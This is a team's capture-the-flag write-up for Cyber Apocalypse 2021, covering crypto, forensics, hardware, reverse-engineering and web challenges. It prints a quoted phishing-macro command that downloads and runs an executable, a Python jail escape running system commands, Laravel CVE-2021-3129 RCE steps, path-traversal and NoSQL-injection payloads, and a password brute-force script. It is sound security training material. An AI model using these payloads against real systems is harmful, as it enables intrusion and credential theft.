Cyber Apocalypse 2021

Crypto

Nintendo Base64

Solved by : thewhiteh4t

Cyberchef recipe :

    [
      { "op": "Find / Replace",
        "args": [{ "option": "Regex", "string": " " }, "", true, false, true, false] },
      { "op": "Find / Replace",
        "args": [{ "option": "Regex", "string": "\\n" }, "", true, false, true, false] },
      { "op": "From Base64",
        "args": ["A-Za-z0-9+/=", true] },
      { "op": "From Base64",
        "args": ["A-Za-z0-9+/=", true] },
      { "op": "From Base64",
        "args": ["A-Za-z0-9+/=", true] },
      { "op": "From Base64",
        "args": ["A-Za-z0-9+/=", true] },
      { "op": "From Base64",
        "args": ["A-Za-z0-9+/=", true] },
      { "op": "From Base64",
        "args": ["A-Za-z0-9+/=", true] },
      { "op": "From Base64",
        "args": ["A-Za-z0-9+/=", true] },
      { "op": "From Base64",
        "args": ["A-Za-z0-9+/=", true] }
    ]

PhaseStream 1

Solved by: Legend

  • Each character will be XOR with each character of the key and the length of the key is 5 characters.
    start =  bytearray.fromhex('2e313f2702')  #Randomly tried from starting of given cipher
    text = 'CHTB{'.encode()
    
    key = b''
    output = b''
    
    for i in range(len(start)):
            key += bytes([text[i] ^ start[i]])
    
    print('Key: ' + str(key))
    print('Key len: '+ str(len(key)))
    print('Key type: ' + str(type(key)))
    print('Key hex: ' + key.hex())
    
    for i in range(int(len(start))):
            output += bytes([start[i] ^ key[i % len(key)]])
    
    print('2e313f2702 --> '+ '(' + output.hex() + ')' + ' == ' + str(output) + '(text)')
    
    shifr  = bytearray.fromhex('2e313f2702184c5a0b1e321205550e03261b094d5c171f56011904')
    
    output2 = b''
    
    for i in range(len(shifr)):
            output2 += bytes([shifr[i] ^ key[i % len(key)]])
    
    output_dec = output2.decode(errors='ignore')
    
    print('Flag: '+ output_dec)
    print('Flag hex: '+ output.hex())

Flag: CHTB{u51ng_kn0wn_pl41nt3xt}

SoulCrabber 1

Solved by : ava and thewhiteh4t

Solution :

  • since the seed remains fixed and we know the seed the randomized values in each run will be same so we just have to inverse XOR the cipher text to get the flag
  • hex decode cipher text
  • convert each char to 8 bit int
  • xor against random 8 bit integers
  • convert integer to char

XOR Function :

    fn rand_xor(input : String) -> String {
        
        // get_rng function is called
        
        let mut rng = get_rng();
        return input
            .chars()        // converts string into array of chars
            .into_iter()    // converts vector into iterable
            // map applies a function to each element
            // {:02x} converts integers to 2 char hex format
            // u8 is 8 bit unsigned integer
            // ^ is bitwise XOR
            // XOR against random 8 bit integer
            .map(|c| format!("{:02x}", (c as u8 ^ rng.gen::<u8>())))
            .collect::<Vec<String>>()
            .join("");
    }

Get Numbers from hex string :

    fn rev_xor(input : String) {
        let mut rng = get_rng();
        let inp_arr = hex::decode(input);
        println!("{:?}", inp_arr);
    ...
    [27, 89, 20, 132, 219, 150, 47, 119, 130, 209, 65, 10, 250, 74, 56, 143, 121, 48, 6, 123, 206, 246, 223, 84, 106, 87, 217, 248, 115]

use those numbers into array and iterate it over :

    use rand::{Rng,SeedableRng};
    use rand::rngs::StdRng;
    use std::fs;
    use std::io::Write;
    
    fn get_rng() -> StdRng {
        let seed = 13371337;
        return StdRng::seed_from_u64(seed);
    }
    
    fn rand_xor(input : String) -> String {
        let mut rng = get_rng();
        //print!("{:?}",rng.gen::<u8>());
        let arr = [27, 89, 20, 132, 219, 150, 47, 119, 130, 209, 65, 10, 250, 74, 56, 143, 121, 48, 6, 123, 206, 246, 223, 84, 106, 87, 217, 248, 115];
        let space = "\t";
        for i in &arr
        {
            print!("{}", (i ^ rng.gen::<u8>()));
            print!("{}", space);
        }
        return input
            }
    
    fn main() -> std::io::Result<()> {
        let flag = fs::read_to_string("flag.txt")?;
        let xored = rand_xor(flag);
        //println!("{}", xored);
        let mut file = fs::File::create("out.txt")?;
        file.write(xored.as_bytes())?;
        Ok(())
    }

Forensics

AlienPhish

Solved by : Starry-Lord

  • Unzip and find ‘Alien Weaknesses.pptx’
  • Unzip again and go to ppt/slides/_rels/
  • Read slide1.xml.rels to find a suspicious relation tag
    cmd.exe%20/V:ON/C%22set%20yM=%22o$%20eliftuo-%20exe.x/neila.htraeyortsed/:ptth%20rwi%20;'exe.99zP_MHMyNGNt9FM391ZOlGSzFDSwtnQUh0Q'%20+%20pmet:vne$%20=%20o$%22%20c-%20llehsrewop&amp;&amp;for%20/L%20%25X%20in%20(122;-1;0)do%20set%20kCX=!kCX!!yM:~%25X,1!&amp;&amp;if%20%25X%20leq%200%20call%20%25kCX:*kCX!=%25%22
  • Go to cyberchef
  • From url decode
  • Reverse
    "%=!XCk*:XCk% llac 0 qel X% fi;pma&;pma&!1,X%~:My!!XCk!=XCk tes od)0;1-;221( ni X% L/ rof;pma&;pma&powershell -c "$o = $env:temp   'Q0hUQntwSDFzSGlOZ193MF9tNGNyMHM_Pz99.exe'; iwr http:/destroyearth.alien/x.exe -outfile $o"=My tes"C/NO:V/ exe.dmc
    Q0hUQntwSDFzSGlOZ193MF9tNGNyMHM_Pz99
  • From base64 and select the urlSafe alphabet
CHTB{pH1sHiNg_w0_m4cr0s???}

Invitation

Solved By : Starry-Lord

  • So we get a docm file.
  • I start by unzippping the word document
  • We get a docm
  • Unzip it again and see folders

PART 1

  • First thing I tried to do after looking around was
strings vbaProject.bin
  • Which gives back interesting hex lines.

  • Then decrypt from hex

  • From base64 urlsafe alphabet will show the following

CHTB{maldocs_are

PART 2

  • Upload full vbaProject file this time and do the same as before.

  • Use base64 urlsafe alphabet
  • We get second part of the flag by reversing
_the_new_meta}
CHTB{maldocs_are_the_new_meta}

Oldest trick in the book

Solved by : thewhiteh4t

  • We are given a pcap which consists of mostly TLS and ICMP traffic
  • ICMP looks promising as we can see the header of ZIP file PK

  • Another thing was that the the traffic from both IP address was similar I focused on only one of them

  • To extract data of all these packets I used tshark
$ tshark -r older_trick.pcap -T fields -e data.data -Y "ip.src == 192.168.1.7" > 192.168.1.7.txt
  • After this I looked for duplicate packets in the text file

  • So we have 10127 unique icmp data packets
  • To decode hex and compile all the data I created a small python script
  • But I was not getting proper file format of resultant file so I inspected the data
  • There were duplicates in the data as well!
b7ae04 0000000000 504b0304140000000000729e8d52659b 504b0304140000000000729e8d52659b 504b030414000000
ead104 0000000000 4c6b1800000018000000100000006669 4c6b1800000018000000100000006669 4c6b180000001800
99e804 0000000000 6e692f6164646f6e732e6a736f6e7b22 6e692f6164646f6e732e6a736f6e7b22 6e692f6164646f6e
cafb04 0000000000 736368656d61223a362c226164646f6e 736368656d61223a362c226164646f6e 736368656d61223a
  • This is the data from first 4 packets for an example
  • After first 6 characters we have 10 zeroes
  • After that a unique string
  • The string is repeated after that
  • Then a partial repetition can be seen at the end
  • I tried various combinations and in the end only the unique string was needed from each packet i.e 504b0304140000000000729e8d52659b for first line as an example
#!/usr/bin/env python3
import binascii
msg = []
with open('unique.txt', 'r') as raw:
    raw_arr = raw.readlines()
for line in raw_arr:
    if len(line) == 97:
        line = line.strip()
        line = line[16:48]
        plain = binascii.unhexlify(line)
        msg.append(plain)
with open('result.zip', 'wb') as res:
    for line in msg:
        res.write(line)
  • The script iterates over each line in the file and skips empty lines if it finds any
  • Then it slices of extra characters as stated above
  • Then it decodes the hex into binary data and appends it in a file

  • And we get a proper zip file!
  • Here are the extracted contents of the zip

  • After some enumeration of all files they point towards Mozilla Firefox
  • After some googling I found that this is a firefox profile dump
  • In linux the default path for profiles is /home/user/.mozilla/firefox
  • I copied the folder into profiles folder and then edited the profiles.ini file present inside it to add the following entry
[Profile2]
Name=fini
Path=fini
IsRelative=1
  • After this I launched firefox from CLI using
$ firefox -P
  • It provides an option to choose a specific profile and launch the browser with it

  • After the browser launched with the new profile and checked the saved logins and here we have the flag!

Hardware

Solved by : Nigamelastic

  • .sal files are saleae logic analyzer files.
  • I got this as reference https://dystopia.sg/allesctf20-PWNkemon/ so i downloaded the sla logic analyzer https://www.saleae.com/downloads/
  • from here after installing, i opened the sal files which i could and then the following:

Serial Logs:

  • I imported the value i am pretty sure if i find the right analyzer it should work

  • by far for this challenge async serial works the best
  • challenge states raspberry pi which has a baud rate of 115200
  • after some pondering i realized that there are some errors in parity on fixing them and using the 115200 in async serial we get the hex converting which gives us this:

https://www.dropbox.com/s/ztqoa16wvp6rvf6/message.txt?dl=0

  • found this : https://6e726d.github.io/Challenge/Ekoparty15/
  • this writeup explains how to get the baud rate
  • open the SAL file and zoom

  • zoom

  • zoom

  • zoom

  • until you see the smallest unit of the digital wave then measure it: as its 13.498

  • since it is in μ we will divide it by 1000000
  • so 1000000/13.498 = 74085.049637
  • I obviously used 74000 as bit rate, converted the hex to ascii with the tool itself and it gave me the flag:
CHTB{wh47?!_f23qu3ncy_h0pp1n9_1n_4_532141_p2070c01?!!!52}

Compromised

  • import the file in salea logic analyzer, and use i2c analyzer
  • export the data and you will see two columns if we take everything written and try the hex dump we get
set_maCxH_lTimB{itn_tuo1:110_se73t_2mimn1_nli4mi70t_2to5:_1c0+.]<+/4~nr^_yz82Gb3b"4#kU_..4+J_5.
3M.2B1.4B.1dV_5. yS.5B7k3..1V.Qxm.!j.@Q52yq)t%# @5%md}S.
  • and we can see its slightly off i noticed the following :

  • so i used only 0x2C used the corresponding hex

which is

0x43 0x48 0x54 0x42 0x7B 0x6E 0x75 0x31 0x31 0x5F 0x37 0x33 0x32 0x6D 0x31 0x6E 0x34 0x37 0x30 0x32 0x35 0x5F 0x63 0x34 0x6E 0x5F 0x38 0x32 0x33 0x34 0x6B 0x5F 0x34 0x5F 0x35 0x33 0x32 0x31 0x34 0x31 0x5F 0x35 0x79 0x35 0x37 0x33 0x6D 0x21 0x40 0x35 0x32 0x29 0x23 0x40 0x25 0x7D
  • and got the flag
CHTB{nu11_732m1n47025_c4n_8234k_4_532141_5y573m!@52)#@%}

Misc

Alien Camp

Solved By : thewhiteh4t

  • The challenge server sends a randomized set of emoji and value pair
  • We can get all pairs from option 1
  • After getting all pairs we can start calculating values for each question
  • If you get EOF Error just restart the script
  • After 500 questions we get the flag
    #!/usr/bin/env python3
    
    from pwn import *
    
    host = '46.101.82.40'
    port = 32156
    conn = remote(host, port)
    conn.recvuntil('>').decode()
    print('[+] Getting some help...')
    conn.send('1\n')
    out = conn.recvuntil('\n>').decode()
    help_arr = out.split('\n')
    help_txt = help_arr[2]
    store = help_txt.split(' ')
    emojis = []
    vals = []
    new_store = {}
    counter = 0
    for item in store[0::3]:
        if len(item) > 0:
            emojis.append(item)
    for item in store [2::3]:
        vals.append(item)
    for emo in emojis:
        new_store[emo] = vals[emojis.index(emo)]
    if len(new_store) != 0:
        print('[+] Help recieved!')
    conn.send('2\n')
    def solve(conn):
        global counter
        if counter != 500:
            q_txt = conn.recvuntil('?').decode()
            q_txt = q_txt.split('\n')
            q_txt = q_txt[-1]
            print(f'[Q:{counter}] {q_txt}')
            q_txt = q_txt.split('  =')
            q_txt = q_txt[0]
            q_emo = q_txt.split(' ')
            for elem in q_emo:
                if elem in new_store:
                    q_txt = q_txt.replace(elem, new_store[elem])
            ans = eval(q_txt)
            print(f'[+] Sending {ans}')
            conn.send(str(ans) + '\n')
        else:
            flag = conn.recvuntil('}').decode()
            print(flag)
            conn.close()
        counter += 1
    while counter <= 500:
        solve(conn)

Input as a service

Solved by : ava

  • We are given a py-jail
  • https://programmer.help/blogs/python-sandbox-escape.html
  • I used this website as reference, os and such imports are banned, so we used string manipulation
  • we just reverse the string os to so and import it and then do ls command to * * see the flag.txt and then just cat the flag
  • the code to do is given below
# use this to check the files present

__import__('so'[::-1]).system('ls')

# this is called reverse print method, "so" actually os

flag.txt
input_as_a_service.py

# read the file

__import__('so'[::-1]).system('cat flag.txt')

CHTB{4li3n5_us3_pyth0n2.X?!}

Robotic Infiltration

Solved by : thewhiteh4t

  • We got a capture.bag file in this one
  • The challenge mentions ROS which leads to a utility called rosbag
  • rosbag can be used to play this bag file
  • Installation and tutorials are given in ros wiki : http://wiki.ros.org/Documentation
  • The challenge mentions rebuild plan for facility
  • after some poking around we saw rosbag comes with another utility known as rviz
  • rviz can be used for 3d visualization of bag files

Step 1 : Start roscore

Step 2 : Play bag file

$ rosbag play capture.bag

Step 3 : Launch rviz

$ rosrun rviz rviz
  • Now all we had to do was tweak things in rviz a little to improve visibility and eventually we spotted the flag

  • After some play and pause action we got the full flag
CHTB{r0s_1s_r0b0tic_p0w3r}

RE

Authenticator

Solved by chronocruz.exe

  • Disassembling the binary using IDA we get the first code block

  • Here we can clearly see the “Alien ID: “ that is supposed to be the first input

  • To find the pin, we proceed down the code flow

  • We can see there’s a function named “checkpin” being called so we look at what its doing

  • It may get slightly difficult to understand what this code really means..
  • We can use decompilers like Ghidra to try to convert this into something we can understand better.

  • Looking at the decompiled “checkpin” function, we can clearly see a XOR operation on a string.
  • It’s safe to say that our pin must be the XOR of each character in this string with 9.
  • With the help of this simple Python script we print the flag

Passphrase

Solved by chronocruz.exe

Disassembling the binary in IDA we reach the first code block where a certain portion of the code caught my eye

  • So I wrote down the string given here
3xtr4t3rR3stR14L5_VS_hum4n5
  • Tried using this string in the program and voila!

Web

Inspector gadget

Solved by: Bobby sox and ava

  • Visiting the webpage we see a part of a flag: CHTB{

  • If we keep looking around the pages, we find in /static/js/main another part of the flag:

us3full_1nf0rm4tion}
  • This in combination with the flag on the website is not the correct flag so far.
  • static/css/main.css has another potential hint at the top with: c4n_r3ve4l_
  • so, so far we have collected 3 pieces of a flag:
1. CHTB{
2. us3full_1nf0rm4tion}
3. c4n_r3ve4l_ 
  • in js.main we will also find the last piece of our flag:1nsp3ction_
  • the full flag ended up being :CHTB{1nsp3ction_c4n_r3ve4l_us3full_1nf0rm4tion}

Cass

Solved by : thewhiteh4t

  • Input sanitization is only in front end via javascript
  • we can use burpsuite to bypass that


DAAS

Solved by: Nigamelastic

  • The hint for this challenge talks about being stuck in debug.
  • Some research shows there is a CVE for this, and the Laravel version were working with is vulnerable.
  • https://www.exploit-db.com/exploits/49424
  • https://www.youtube.com/watch?v=gr8ZKQpYiug&

CVE-2021-3129 : https://nvd.nist.gov/vuln/detail/CVE-2021-3129

  • Find
ip/_ignition/execute-solution
  • For a laravel panel with error messages and stack trace.

  • https://www.ambionics.io/blog/laravel-debug-rce
  • As mentioned in the blog above i tried performing a post request but it gave me a 302 response
  • but the above link mentions their github page and exploit which is https://github.com/ambionics/phpggc and https://github.com/ambionics/laravel-exploits

the idea is to get the phar file with ur custom command from 1st repo and then put the phar file into the exploit with specified url to run the exploit PS: for a linux command with spaces simply use "

  • so for our case since we know the flag was found on the root directory and its name as
flagM1AhS
  • our phpggc command should be
php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "cat /flagM1AhS"
  • run that in the exploit as:
./laravel-ignition-rce.py http://165.227.234.7:31636/ /tmp/exploit.phar
  • and we have the flag:
CHTB{wh3n_7h3_d3bu663r_7urn5_4641n57_7h3_d3bu6633}

MiniSTRyplace

Solved by: Bobbysox and thewhiteh4t

  • hint1: “Let’s read this website in the language of Alines. Or maybe not? This challenge will raise 33 euros for a good cause.”
  • hint2: The challenges name is “miniSTRyplace”. This is a play on words for str_replace.
  • We see right away that we can change language and it is represented: ip.address/?lang=es.php a perfect place to try LFI

  • In order to prevent path traversal, developers can implement blacklisting. It will usually look something like this:
$language = str_replace('../', '', $_GET['language']);
  • This is where you can see the name of the challenge was a hint to the sec measures used. *now we can modify our final payload to bypass blacklisting:
http://46.101.77.180:32490/?lang=....//....//....//....//....//....//....//....//etc/passwd
  • Our exploit is successful, to get the flag we just used the following :
http://165.227.234.7:30779/?lang=....//....//flag

Wild Goose Hunt

Solved by : thewhiteh4t

  • We have a cool login page and source of the web app for this one
  • entrypoint.sh contains the following :
    #!/bin/ash
    
    # Secure entrypoint
    chmod 600 /entrypoint.sh
    mkdir /tmp/mongodb
    mongod --noauth --dbpath /tmp/mongodb/ &
    sleep 2
    mongo heros --eval "db.createCollection('users')"
    mongo heros --eval 'db.users.insert( { username: "admin", password: "CHTB{f4k3_fl4g_f0r_t3st1ng}"} )'
    /usr/bin/supervisord -c /etc/supervisord.conf
  • we can see that the flag is being stored as the password of admin
  • we need to somehow extract the password
  • since its mongoDB first assumption was to check for NoSQL injection
  • Here is the error message we get in burp for a normal attempt

  • Lets switch to repeater here

  • so we are getting a json response and the message is being displayed in the frontend
  • next i tried some basic payloads for NoSQL injection
username[$ne]=lol&password[$ne]=lol

  • Authentication bypassed! but we dont get any functionality in the frontend so i proceeded with more payloads
username=admin&password[$regex]=A*

  • This is an interesting payload because we can use a wildcard to check if a particular character is present in the password or not!
  • we know that the flag is the password and flag begins with CHTB{ so I tried that next
username=admin&password[$regex]=CHTB{.*

  • And it works again!
  • Now we can bruteforce characters and check for success message to get correct characters
  • I created a small python script for it
    #!/usr/bin/env python3
    #################################
    ## Author    : thewhiteh4t ######
    ## Challenge : Wild Goose Hunt ##
    #################################
    import json
    import requests
    ip = '138.68.187.25'
    port = 31370
    url = f'http://{ip}:{port}/api/login'
    flag = 'CHTB{'
    charset = '_01234abcdefghijklmnopqrstuvwxyz'
    loop_iter = 1
    while flag.endswith('}') == False:
        for char in charset:
            if loop_iter == 1:
                payload = flag + char + '.*'
            else:
                payload = flag + '}'
            data = {
                'username': 'admin',
                'password[$regex]': payload
            }
            try:
                rqst = requests.post(url, data=data)
            except Exception as e:
                print(f'[-] Exception : {e}')
                exit()
            if rqst.status_code == 200:
                resp = rqst.text
                json_resp = json.loads(resp)
                status = json_resp['logged']
                if status == 1:
                    if payload.endswith('}') == False:
                        flag = payload.replace('.*', '')
                    else:
                        flag = payload
                        print(f'FLAG : {flag}')
                        exit()
                    print(f'FLAG : {flag}')
                    loop_iter = 0
                    break
            else:
                print(f'[-] Error : {rqst.status_code}')
        loop_iter += 1